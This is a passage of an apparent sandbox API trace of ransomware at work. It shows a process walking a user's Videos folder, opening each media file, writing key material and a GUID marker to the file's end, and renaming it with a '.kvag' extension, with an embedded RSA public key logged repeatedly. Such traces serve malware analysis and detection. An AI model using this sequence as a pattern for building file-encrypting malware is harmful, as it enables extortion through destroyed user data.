(lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\dFcnG6SW.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\qc5ie91o3\\dfcng6sw.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\dFcnG6SW.avi.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\qc5ie91o3\\dfcng6sw.avi.kvag")) returned 1 [0121.312] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4def48b0, ftCreationTime.dwHighDateTime=0x1d4d3ac, ftLastAccessTime.dwLowDateTime=0xd474f9b0, ftLastAccessTime.dwHighDateTime=0x1d4d4fc, ftLastWriteTime.dwLowDateTime=0xd474f9b0, ftLastWriteTime.dwHighDateTime=0x1d4d4fc, nFileSizeHigh=0x0, nFileSizeLow=0xaf3f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="exaDYDv--4LV5xHD.swf", cAlternateFileName="EXADYD~1.SWF")) returned 1 [0121.312] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\exaDYDv--4LV5xHD.swf") returned=".swf" [0121.312] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\exaDYDv--4LV5xHD.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\qc5ie91o3\\exadydv--4lv5xhd.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.312] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=44863) returned 1 [0121.312] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.314] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xaf19, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.314] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.315] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xaf3f, lpOverlapped=0x0) returned 1 [0121.316] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.316] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.316] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.316] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607f98) returned 1 [0121.317] CryptCreateHash (in: hProv=0x3607f98, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.317] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.317] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.317] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.317] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.317] CryptReleaseContext (hProv=0x3607f98, dwFlags=0x0) returned 1 [0121.317] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.317] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.317] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.317] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.318] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xaf3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.318] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.318] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.318] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.318] CloseHandle (hObject=0x61c) returned 1 [0121.319] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\exaDYDv--4LV5xHD.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\qc5ie91o3\\exadydv--4lv5xhd.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\exaDYDv--4LV5xHD.swf.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\qc5ie91o3\\exadydv--4lv5xhd.swf.kvag")) returned 1 [0121.320] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x760989c0, ftCreationTime.dwHighDateTime=0x1d4d3cd, ftLastAccessTime.dwLowDateTime=0x95c48f00, ftLastAccessTime.dwHighDateTime=0x1d4c93a, ftLastWriteTime.dwLowDateTime=0x95c48f00, ftLastWriteTime.dwHighDateTime=0x1d4c93a, nFileSizeHigh=0x0, nFileSizeLow=0x11bf6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F72ymb.mp4", cAlternateFileName="")) returned 1 [0121.320] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\F72ymb.mp4") returned=".mp4" [0121.320] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\F72ymb.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\qc5ie91o3\\f72ymb.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.321] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=72694) returned 1 [0121.321] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.323] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11bd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.323] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.324] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x11bf6, lpOverlapped=0x0) returned 1 [0121.325] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.325] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.325] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.325] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607f98) returned 1 [0121.326] CryptCreateHash (in: hProv=0x3607f98, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.326] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.326] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.326] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.326] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.326] CryptReleaseContext (hProv=0x3607f98, dwFlags=0x0) returned 1 [0121.326] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.326] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.326] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.327] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.327] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11bf6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.327] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.327] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.327] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.327] CloseHandle (hObject=0x61c) returned 1 [0121.328] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\F72ymb.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\qc5ie91o3\\f72ymb.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\F72ymb.mp4.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\qc5ie91o3\\f72ymb.mp4.kvag")) returned 1 [0121.330] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b35b40, ftCreationTime.dwHighDateTime=0x1d4c8ce, ftLastAccessTime.dwLowDateTime=0xbd14250, ftLastAccessTime.dwHighDateTime=0x1d4d31e, ftLastWriteTime.dwLowDateTime=0xbd14250, ftLastWriteTime.dwHighDateTime=0x1d4d31e, nFileSizeHigh=0x0, nFileSizeLow=0x17d2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fpn5 rIQgKEMen.mp4", cAlternateFileName="FPN5RI~1.MP4")) returned 1 [0121.330] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\Fpn5 rIQgKEMen.mp4") returned=".mp4" [0121.330] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\Fpn5 rIQgKEMen.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\qc5ie91o3\\fpn5 riqgkemen.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.330] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=97582) returned 1 [0121.330] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.332] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x17d08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.332] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.334] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x17d2e, lpOverlapped=0x0) returned 1 [0121.335] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.335] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.335] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.335] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607f98) returned 1 [0121.336] CryptCreateHash (in: hProv=0x3607f98, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.336] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.336] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.336] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.336] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.336] CryptReleaseContext (hProv=0x3607f98, dwFlags=0x0) returned 1 [0121.336] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.336] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.336] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.337] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.337] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x17d2e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.337] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.337] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.337] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.337] CloseHandle (hObject=0x61c) returned 1 [0121.339] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\Fpn5 rIQgKEMen.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\qc5ie91o3\\fpn5 riqgkemen.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\Fpn5 rIQgKEMen.mp4.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\qc5ie91o3\\fpn5 riqgkemen.mp4.kvag")) returned 1 [0121.340] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38d50150, ftCreationTime.dwHighDateTime=0x1d4d22a, ftLastAccessTime.dwLowDateTime=0xeac71d10, ftLastAccessTime.dwHighDateTime=0x1d4cc73, ftLastWriteTime.dwLowDateTime=0xeac71d10, ftLastWriteTime.dwHighDateTime=0x1d4cc73, nFileSizeHigh=0x0, nFileSizeLow=0xe775, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZVpUd0FLYyHkQN.mp4", cAlternateFileName="ZVPUD0~1.MP4")) returned 1 [0121.340] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\ZVpUd0FLYyHkQN.mp4") returned=".mp4" [0121.340] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\ZVpUd0FLYyHkQN.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\qc5ie91o3\\zvpud0flyyhkqn.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.340] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=59253) returned 1 [0121.340] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.342] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xe74f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.342] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.344] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xe775, lpOverlapped=0x0) returned 1 [0121.344] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.345] lstrlenA (lpString="-----BEGIN PUBLIC 